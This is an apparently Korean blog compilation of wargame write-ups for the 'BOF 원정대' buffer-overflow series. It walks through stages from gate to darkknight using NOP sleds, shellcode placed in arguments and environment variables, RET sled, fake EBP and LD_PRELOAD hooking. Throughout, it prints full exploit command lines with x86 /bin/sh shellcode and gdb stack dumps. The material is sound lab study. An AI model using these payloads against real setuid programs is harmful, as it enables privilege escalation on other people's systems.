- ret값에 스택과 라이브러리 둘다 넣지 못하게 되어있다. 하지만 방법은 있다!


* RET Sled

- 정상적인 ret에 명령어의 주소 &ret을 넣어주면 pop eip, jmp eip를 통해 ebp+8에 ret값을 사용할 수 있다.

leave

-mov esp, ebp
-pop ebp

ret
-pop eip


$(python -c 'print "A"*44+"\x1e\x85\x04\x08"+"\xe8\xfa\xff\xbf"+"\x90"*1000+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"')

eip 에 &ret 주소를 넣어 주고 ebp+8 이 ret 이 되니까 여기 쉘코드 시작주소를 넣어주면 된다.










'WARGAME > BOF' 카테고리의 다른 글

[BOF] golem->darkknight  (0) 2018.02.20
[BOF] skeleton->golem  (0) 2018.02.20
[BOF] vampire->skeleton  (0) 2018.02.20
[BOF] orge->vampire  (0) 2018.02.20
[BOF] orge->troll  (0) 2018.02.20

* Darkknight

- 조건은 argument가 2개 이상이면 된다. problem_child함수에서 strcpy함수를 사용하니 problem_child함수에서 버퍼 오버플로우가 발생하도록 하면 될 것 같다. 하지만 buffer에는 41바이트만 삽입되는데 ret값까지 덮어씌울 수 없을것 같다.



-FPO(Frame Pointer Overflow)

-frame pointer : saved ebp

- Fake EBP

에필로그가 무조건 2번 수행되야 의미가 있어진다 Fake ebp가 

그래서 void problem_child(char *src) 함수가 필요하다 여기서 에필로그가 실행되고 메인에서도 에필로그가 하나 실행되니까

2번 수행된다

-EBP의 값이 변조되면 EIP값이 변조된다. 

-ESP레지스터를 옮김

-단 함수 에필로그가 두번 실행되어야한다.


[ebp+4]=saved eip 개념을 꼭 알아야한다.  에필로그가 실행되니까 이렇게 생각할 수 있다.

leave

-mov esp, ebp

-pop ebp


ret

-pop eip


call

-push eip

-jmp address



main 함수는 오버플로우가 발생하지 않으니 볼게 없고 promblem_child  함수를 확인해 보면

r $(python -c 'print "A"*40+"BBBB"+"CCCC"')

딱 41 바이트만 복사되는걸 확인할 수 있다. 


이제 fake ebp 를 이용해서 ebp를 변조 해야하는데


(gdb) x/24x $ebp-40

0xbffffa94: 0x41414141 0x41414141 0x41414141 0x41414141

0xbffffaa4: 0x41414141 0x41414141 0x41414141 0x41414141

0xbffffab4: 0x41414141 0x41414141 0xbffffa94(ebp) 0x0804849e(saved eip)

0xbffffac4: 0xbffffc2d         0xbffffae8         0x400309cb 0x00000002

0xbffffad4: 0xbffffb14         0xbffffb20         0x40013868 0x00000002

0xbffffae4: 0x08048390 0x00000000 0x080483b1 0x0804846c


promblem_child  함수에서 에필로그가 실행되게 되면 

leave

-mov  esp, ebp

-pop ebp

ebp의 위치가 esp로 변경되고 ebp가 pop된다. 

이러면 ebp 는 0xbffffa94 여기를 가리킬꺼고 esp는 0x0804849e(saved eip) 이쪽으로 오고 아무런 조작없이 함수의 오류로 실행이 종료 될것인데,

main 함수에서 에필로그가 한번더 실행되게 되면 

leave

-mov  esp, ebp

-pop ebp

지금 ebp의 위치가 esp가 될꺼고 ebp를 pop 하게되면


(gdb) x/24x $ebp-40

0xbffffa94: 0x41414141(esp) 0x41414141(ret) 0x41414141 0x41414141

0xbffffaa4: 0x41414141 0x41414141 0x41414141 0x41414141

0xbffffab4: 0x41414141 0x41414141 0xbffffa94(ebp) 0x0804849e(saved eip)

0xbffffac4: 0xbffffc2d         0xbffffae8         0x400309cb 0x00000002

0xbffffad4: 0xbffffb14         0xbffffb20         0x40013868 0x00000002

0xbffffae4: 0x08048390 0x00000000 0x080483b1 0x0804846c


ret

-pop eip


지금 ret으로 표시된 곳이 최종으로 saved eip가 실행되는 값으로 바뀔것이다 


그니까 에필로그가 총 2번 실행되어야 조작이 가능하다


이런 원리로 문제를 풀어보면

fake ebp값을 4바이트 넣어주고 ret 주소 (쉘코드 시작 주소 ) +쉘코드 +ebp주소 (fake ebp 를 가리키는 )

로 페이로드를 작성하면 문제가 쉽게 풀린다.

./darkknight $(python -c 'print "A"*4+"BBBB"+"\x90"*7+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"+"\x34"')





'WARGAME > BOF' 카테고리의 다른 글

[BOF] Giant->assassin  (0) 2018.02.20
[BOF] skeleton->golem  (0) 2018.02.20
[BOF] vampire->skeleton  (0) 2018.02.20
[BOF] orge->vampire  (0) 2018.02.20
[BOF] orge->troll  (0) 2018.02.20


-위 코드는 buffer, buffer이후 메모리를 모두 초기화 하는 것을 확인할 수 있다.

이때 사용하는 방식이 함수 후킹이다


1.함수 후킹(hooking)


현재 아이디

[skeleton@localhost skeleton]$ id

uid=510(skeleton) gid=510(skeleton) groups=510(skeleton)



hook.c


#include <stdio.h>


int main()

{



        int uid;

        int euid;


        uid = getuid();

        euid= geteuid();


        printf("uid:%d, euid:%d\n",uid,euid);

        return 0;

}




man 2 geteuid

SYNOPSIS

       #include <unistd.h>

       #include <sys/types.h>


       uid_t getuid(void);

       uid_t geteuid(void);



라이브러리 형태로 만들어 줘야한다


#include <unistd.h>

#include <sys/types.h>


uid_t geteuid(void)

{

        return 520;

}


 [skeleton@localhost skeleton]$ gcc -o hook.so -fPIC --shared hook1.c

[skeleton@localhost skeleton]$ ls

golem  golem.c  hook  hook.c  hook1.c  hook1.so


[skeleton@localhost skeleton]$ export LD_PRELOAD=/home/skeleton/hook1.so

환경 변수를 올릴때는 무조건 절대경로를 이용해야한다.


[skeleton@localhost skeleton]$ my-pass

euid = 520

got the life


후킹을 하고자 하는 함수를 만들어 놓고 LD_PRELOAD에 올려 놓으면 다른 함수보다 먼저 참조가

되기 때문에 내가 원하는 값을 가지고 올 수 있다.


1. 우선 so파일을 아무거나 하나 생성한다 hook.so <-이유는 LD_PRELOAD 에는 so파일 만 올라갈수 있기 때문에 so를 만들어야한다.



2. so파일이 만들어지면 cp를 이용해서 파일 이름을 쉘코드가 들어간 이름으로 바꿔준다




3. 그리고 export를 통해서 LD_PRELOAD에 쉘코드가 들이간 이름을 올려준다. 




4. gdb로 $ebp-3000정도로  LD_PRELOAD 위치를 찾아서 올려준다!



값이 떨어진걸 확인할 수 있다.



'WARGAME > BOF' 카테고리의 다른 글

[BOF] Giant->assassin  (0) 2018.02.20
[BOF] golem->darkknight  (0) 2018.02.20
[BOF] vampire->skeleton  (0) 2018.02.20
[BOF] orge->vampire  (0) 2018.02.20
[BOF] orge->troll  (0) 2018.02.20


'WARGAME > BOF' 카테고리의 다른 글

[BOF] golem->darkknight  (0) 2018.02.20
[BOF] skeleton->golem  (0) 2018.02.20
[BOF] orge->vampire  (0) 2018.02.20
[BOF] orge->troll  (0) 2018.02.20
[BOF] darkelf->orge  (0) 2018.02.19


'WARGAME > BOF' 카테고리의 다른 글

[BOF] skeleton->golem  (0) 2018.02.20
[BOF] vampire->skeleton  (0) 2018.02.20
[BOF] orge->troll  (0) 2018.02.20
[BOF] darkelf->orge  (0) 2018.02.19
[BOF] wolfman->darkelf  (0) 2018.02.08

troll 문제를 살펴보면



이전 문제랑 달라진 점은 인자가 반드시 2개 만 사용되어야 한다


argv[0] 을 체크하는 코드가 없으니 argv[0]을 이용해보면






'WARGAME > BOF' 카테고리의 다른 글

[BOF] vampire->skeleton  (0) 2018.02.20
[BOF] orge->vampire  (0) 2018.02.20
[BOF] darkelf->orge  (0) 2018.02.19
[BOF] wolfman->darkelf  (0) 2018.02.08
[BOF] Orc->wolfman  (0) 2018.02.08

darkelf 문제를 확인해 보면 

전과 같은 비슷한 문제인데 사용할 수 있는 스택에 메모리는 argv[0]번 뿐이다.


'WARGAME > BOF' 카테고리의 다른 글

[BOF] orge->vampire  (0) 2018.02.20
[BOF] orge->troll  (0) 2018.02.20
[BOF] wolfman->darkelf  (0) 2018.02.08
[BOF] Orc->wolfman  (0) 2018.02.08
[BOF] Goblin-> orc  (0) 2018.02.08

darkelf 문제이다 


argv[1]  길이의 값을 48보다 작게 하라는건 


$(python -c 'print "A"*44+"\xea\xfb\xff\xbf"') 

첫번째 argv[1] 의 길이는 buffer 를 채울 44바이트 + eip 주소를 나타낼수있는 4바이트가 최대 설정 범위라는 소리이다

이제 쓸수 있는 주소를 찾아야하는데 argv[2]가 아직 살아있으니 argv[2] 에 쉘코드를 올리고 사용할 수 있다.

$(python -c 'print "\x90"*1000+"\x31\xc0\x31\xd2\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x52\x8d\x5c\x24\x04\x53\xb0\x0b\x8d\x0c\x24\xcd\x80"')

인자를 3개 이상 줄 경우에는 16바이트씩 교정하는 과정이 힘들기 때문에 nop코드를 많이 넣어서 풀어야한다.

gdb에서 확인하면 


2번째 인자인 0xbffff84a 의 값을 확인하면



nop 사이에 쉘코드가 올라간걸 확인 할 수있다 적당한 주소를 잡아서 eip에 올려주면 값이 출력된다










'WARGAME > BOF' 카테고리의 다른 글

[BOF] orge->troll  (0) 2018.02.20
[BOF] darkelf->orge  (0) 2018.02.19
[BOF] Orc->wolfman  (0) 2018.02.08
[BOF] Goblin-> orc  (0) 2018.02.08
[BOF] cobolt-> Goblin  (0) 2018.02.08

wolfman 문제

Orc 문제랑 별 차이가 없어 보인다 memset 함수로 버퍼 값을 다 0으로 만들어 주는거 같은데 어짜피 argv[] 함수 뒤에 메모리 공간을 이용해 버리면

아까와 같은 문제 같다


gdb로 확인해 보면

0xbffffac0 부터 쉘이 올라가니까 eip 주소를 여기로 설정하고 쉘을 올리면 될꺼 같다

쉘이 올라간걸 확인 할 수있다

eip에 쉘 시작 주소를 대입해주면 쉘 권한이 획득 된다.



$(python -c 'print "A"* 44+"\xc0\xfa\xff\xbf"+"\x31\xc0\x31\xdb\x31\xc9\x31\xd2\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x52\x8d\x5c\x24\x04\x53\xb0\x0b\x8b\x1c\x24\x8d\x0c\x24\xcd\x80"')







'WARGAME > BOF' 카테고리의 다른 글

[BOF] darkelf->orge  (0) 2018.02.19
[BOF] wolfman->darkelf  (0) 2018.02.08
[BOF] Goblin-> orc  (0) 2018.02.08
[BOF] cobolt-> Goblin  (0) 2018.02.08
[BOF] gremlin-> cobolt  (0) 2018.02.08

 Orc 문제를 풀어보면




환경 변수를 못쓰게 막아두었다 그리고 47번째 값이 무조건 \xbf 값이 들어가게 설정되었다

gdb로 ebp 시작 위치와 버퍼의 크기를 살펴보면


r $(python -c 'print "A"*47+"\xbf"')


값을 주고 디버거로 살펴 보면


버퍼의 크기가 딱 40바이트인걸 확인할 수 있다

40바이트 A + ebp(4바이트) + eip(A 3바이트 + \xbf 1바이트) 로 이루어져 있다


eip 시작 위치 바로 다음에 쉘코드를 삽입하고 그 위치를 eip에 대입해주면 된다


 r $(python -c 'print "A"*47+"\xa0\xfa\xff\xbf"+"\x31\xc0\x31\xdb\x31\xc9\x31\xd2\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x52\x8d\x5c\x24\x04\x53\xb0\x0b\x8b\x1c\x24\x8d\x0c\x24\xcd\x80"')


이제 실제 파일에 보정작업 하면서 대입하면 쉘이 획득 된다








'WARGAME > BOF' 카테고리의 다른 글

[BOF] wolfman->darkelf  (0) 2018.02.08
[BOF] Orc->wolfman  (0) 2018.02.08
[BOF] cobolt-> Goblin  (0) 2018.02.08
[BOF] gremlin-> cobolt  (0) 2018.02.08
[BOF] gate-> gremlin  (0) 2018.02.08

Goblin.c 파일을 확인해 보면 gets() 함수를 볼수 있다 gets함수는 앞에서 확인한거 처럼 취약점 존재한다



ret 뒤에 주소에 shellcode를 대입해서 풀어보면 쉽게 풀수있다

인터넷 검색하다 찾은 꿀팁 gets 함수 일때는 gdb에서 입력하기가 까다롭다

(python -c 'print "A"*16+"BBBB"') > shellcode

이런식으로 입력하고  gdb에서는

run < shellcode 입력하면 정상적으로 값이 입력되는걸 확인할 수 있다



shellcode를 올리면 처음 시작하는 위치로 ret을 설정해주고 get함수니까 

(python -c 'print "A"*16+"BBBB"+"\x80\xfa\xff\xbf"+"\x31\xc0\x31\xdb\x31\xc9\x31\xd2\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x52\x8d\x5c\x24\x04\x53\xb0\x0b\x8b\x1c\x24\x8d\x0c\x24\xcd\x80"';cat) | ./goblin


입력해주면 권한을 받을수 있다




'WARGAME > BOF' 카테고리의 다른 글

[BOF] wolfman->darkelf  (0) 2018.02.08
[BOF] Orc->wolfman  (0) 2018.02.08
[BOF] Goblin-> orc  (0) 2018.02.08
[BOF] gremlin-> cobolt  (0) 2018.02.08
[BOF] gate-> gremlin  (0) 2018.02.08

gremlin  문제를 풀어보면



small buffer 문제이다

버퍼의 크기가 16바이트 밖에 없다.. 내가 가지고있는 쉘코드의 크기가 더 커서 ebp위로 버퍼에는 쉘코드를 삽입하지 못한다

그래서 쉘코드를 삽입할 수 있는 장소를 찾아야한다


1.ret 뒤에 쉘코드 삽입


네모 박스 쳐진곳이 eip 다

그 뒤에 shellcode를 삽입해서 eip가 shellcode를 가리키도록 설정해준다

./cobolt $(python -c 'print "A"*16+"B"*4+"\xc0\xfa\xff\xbf"+"\x31\xc0\x31\xdb\x31\xc9\x31\xd2\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x52\x8d\x5c\x24\x04\x53\xb0\x0b\x8b\x1c\x24\x8d\x0c\x24\xcd\x80"')



다음 방법은 많이 사용되는 환경변수에 저장하는 방법이다

export SH=$(python -c 'print "\90"*100 +"\x31\xc0\x31\xdb\x31\xc9\x31\xd2\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x52\x8d\x5c\x24\x04\x53\xb0\x0b\x8b\x1c\x24\x8d\x0c\x24\xcd\x80"')

SH 환경변수에 앞에서 설명한 NOP 값과 쉘코드를 대입한다

삽입된 환경 변수를 확인하고 그 주소를 ret주소에 대입시켜주는 방법이 있다.

환경변수를 확인하는 방법은 C코드로 환경변수를 출력하는 파일을 하나 생성해도 되고 GDB로 확인할 수 도있다

#include <stdio.h>

int main(int argc, char *argv[])

{

        printf("%p\n", getenv(argv[1]));

        return 0;

}



환경 변수를 출력해주는 C 코드


gdb에서 위치를 확인해보면

env 의 값은 argv[1] 에 존재하는걸 확인할 수 있다

argv[0]                 argv[1]


argv[1] 을 확인해 보면


 

먼저 입력한 A 값과 B 값을 확인할 수 있고 뒤로 가면

NOP를 사용하기 위해 넣어둔 90과 SHELLCODE 를 볼수 있다 적당한 주소를 대입해주면 NOP~ 을 통해서 쉘코드에 도착 할 수 있다





'WARGAME > BOF' 카테고리의 다른 글

[BOF] wolfman->darkelf  (0) 2018.02.08
[BOF] Orc->wolfman  (0) 2018.02.08
[BOF] Goblin-> orc  (0) 2018.02.08
[BOF] cobolt-> Goblin  (0) 2018.02.08
[BOF] gate-> gremlin  (0) 2018.02.08

BOF 원정대 1번 GATE 문제이다.



아이디 비밀번호는 처음 주어진 gate/ gate로 접근하면 풀이가 가능하다

2가지 주의할 점이 있는데 시작전에 bash을 bash2로 바꿔주고 시작하는게 정신건강에 좋다. (버전 차이)

또 실행파일을 gdb에서 실행시킬 권한이 없으니 cp 파일 복사를 통해 복사본을 만들어 디버깅 한다 



bash2로 바꾸고 시작한다.  ff가 입력이 안되서 바꿔준다


많이 접해본 문제이다 버퍼의 크기는 256크기이고 함수의 인자가 2개 입력되면 argv[1]로 입력되고 strcpy 함수를 이용해서 buffer에 저장된다.

strcpy 함수의 취약점을 이용해서 버퍼오버플로우 공격을 시도한다. 

gdb로 버퍼의 시작위치와 ebp 변조될 값인 eip의 위치를 파악한다.



이부분에 브레이크를 걸고 확인해 보면 

시작 위치 부터 의도한 A값이 들어가 있는걸 확인할 수 있다.

그럼 시작 위치에 쉘코드를 삽입하고 A 더미를 ebp 위치까지 채운후 eip를 쉘코드 시작위치로 변조해주면 버퍼오버플로우 공격이 실행된다


쉘코드는 49바이트 

"\x31\xc0\x31\xdb\x31\xc9\x31\xd2\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x52\x8d\x5c\x24\x04\x53\xb0\x0b\x8b\x1c\x24\x8d\x0c\x24\xcd\x80" 를 사용한다.


총 256바이트 -49 바이트 = 207바이트  +(ebp 4바이트 ) =211바이트 (더미값)

여기까지 코드를 짜보면 

 $(python -c 'print "\x31\xc0\x31\xdb\x31\xc9\x31\xd2\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x52\x8d\x5c\x24\x04\x53\xb0\x0b\x8b\x1c\x24\x8d\x0c\x24\xcd\x80" + "A" * 211')


쉘코드를 삽입하고 eip 위치를 찾았으니 eip를 쉘코드 시작 위치로 변조하면 가능하다

$(python -c 'print "\x31\xc0\x31\xdb\x31\xc9\x31\xd2\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x52\x8d\x5c\x24\x04\x53\xb0\x0b\x8b\x1c\x24\x8d\x0c\x24\xcd\x80" + "A" * 211 + "\x08\xf9\xff\xbf"')



값을 입력해주면 끝난다


nop Sled

이름하야 NOP 썰매기법이라는 공격인데 이름이 인상적이다. 공격 개요를 간단하게 묘사해보면 쉘을 실행시키는 쉘 코드를 앞에 NOP 명령어를 다량 붙여서 메모리에 저장시켜두고, 버퍼 오버플로우 공격을 이용해 스택프레임의 RET 값을 쉘 코드가 있는 곳의 메모리 주소로 덮어씌워 주면 프로그램이 NOP을 따라 실행되다가 최종적으로 쉘 코드를 실행하게 된다. 여기서 프로그램이 NOP을 타고 쉘 코드 까지 내려온다고 해서 NOP Sled (NOP 썰매) 기법이라고 이름이 붙여졌다.


./gremlin $(python -c 'print "\x90"*111+"\x31\xc0\x31\xdb\x31\xc9\x31\xd2\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x52\x8d\x5c\x24\x04\x53\xb0\x0b\x8b\x1c\x24\x8d\x0c\x24\xcd\x80"+"\x90"*100+"\x58\xf9\xff\xbf"')



앞 뒤로 NOP을 넣어주고 적당한 값으로 RET을 해주면 보정작업이 따로 필요없이 미끄러지다가 쉘코드를 만나서 작동된다


'WARGAME > BOF' 카테고리의 다른 글

[BOF] wolfman->darkelf  (0) 2018.02.08
[BOF] Orc->wolfman  (0) 2018.02.08
[BOF] Goblin-> orc  (0) 2018.02.08
[BOF] cobolt-> Goblin  (0) 2018.02.08
[BOF] gremlin-> cobolt  (0) 2018.02.08

+ Recent posts